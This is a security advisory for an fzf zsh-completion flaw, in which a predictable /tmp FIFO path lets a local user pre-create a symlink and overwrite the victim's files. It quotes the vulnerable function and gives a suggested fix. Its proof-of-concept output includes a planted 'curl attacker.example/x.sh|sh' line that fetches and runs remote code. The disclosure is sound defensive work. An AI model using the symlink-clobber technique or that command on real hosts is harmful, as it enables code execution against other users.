fzf: Predictable FIFO path in zsh completion allows local symlink attack / arbitrary file overwrite as the victim user (_fzf_feed_fifo)
🔗 CVE IDs covered (1)
📋 Description
Summary
shell/completion.zsh feeds every trigger-driven zsh completion through a FIFO at a predictable, PID-based path in shared /tmp (fzf-complete-fifo-$$), without checking the failure of rm -f/mkfifo. On a multi-user host, another local user can pre-create that path as a symlink to a victim-writable file (e.g. ~/.bashrc), causing the victim's own completion to overwrite it with the completion stream — with attacker-influenced content (e.g. via process names in ps output), escalating to code execution at the victim's next login. A pre-created plain FIFO instead leaks/blocks on the completion stream.
Reporter / Credits:
Sai Sreewathsa Kovalluri, Shon Babu and Kannan K (Researchers), Innspark Solutions https://innspark.in/
Details
shell/completion.zsh (tag 0.74.4, commit a140afeb):
- line ~246:
fifo="${TMPDIR:-/tmp}/fzf-complete-fifo-$$"— predictable name; shell PIDs are low/guessable and a wide range can be pre-created. - lines 216-220, verbatim:
_fzf_feed_fifo() {
command rm -f "$1" # fails (EPERM) on an attacker-owned entry in sticky /tmp — error ignored
mkfifo "$1" # fails (EEXIST) — exit status unchecked
cat <&0 > "$1" &| # follows the attacker symlink / blocks on the attacker FIFO
}
Attack modes (no race required):
- File clobber → code execution:
> "$1"follows a pre-created symlink, truncating/overwriting a victim-writable file with the completion input stream using the victim's privileges. For kill-completion the stream includes attacker-influenced process names, so planted lines can land in the victim's startup file. - Information leak / hang: a pre-created plain FIFO makes the victim's
catblock until the attacker reads the stream (fullpsoutput, host lists, variable names).
PoC
Mechanism verified with the function extracted byte-for-byte from shell/completion.zsh (only &| → &, a syntax port irrelevant to the flaw), reproducing the cross-user /tmp precondition via an entry the victim cannot remove (identical to sticky /tmp semantics for an attacker-owned entry):
rm: cannot remove '.../fzf-complete-fifo-4242': Permission denied
mkfifo: cannot create fifo '.../fzf-complete-fifo-4242': File exists
=== victim file AFTER the victim's completion ran ===
evil-process; curl attacker.example/x.sh|sh; :
other-stream-data
The file was overwritten despite both rm and mkfifo failing. A self-contained reproducer was provided by email (poc-t04-fifo-clobber.sh).
Impact
Local (multi-user host; CWE-377 / CWE-59). Any victim running zsh with fzf trigger completion (kill/ssh/telnet/export/unset/unalias **<TAB>) on a host shared with an attacker risks silent overwrite of arbitrary user files (→ code execution at next login) or disclosure of the completion stream. Suggested fix: create the FIFO inside a private mktemp -d directory (mode 700) and check mkfifo's exit status, removing the rm-then-mkfifo TOCTOU entirely.
Reported privately to the maintainer by email; fix prepared for the next release.
Exploitability in practice
On a default modern host the file-overwrite variant is blocked by fs.protected_symlinks (a process will not follow a symlink in a sticky, world-writable directory owned by another user), and protected_fifos/protected_regular further limit the FIFO variants. Exploitation therefore depends on these kernel protections being disabled. The information exposed is a bounded completion candidate list (process names, hostnames, variable names) rather than arbitrary data, and the "code execution at next login" outcome is a downstream chain requiring the victim to both have the clobbered file sourced and log in again.
🎯 Affected products1
- go/github.com/junegunn/fzf:<= 0.74.4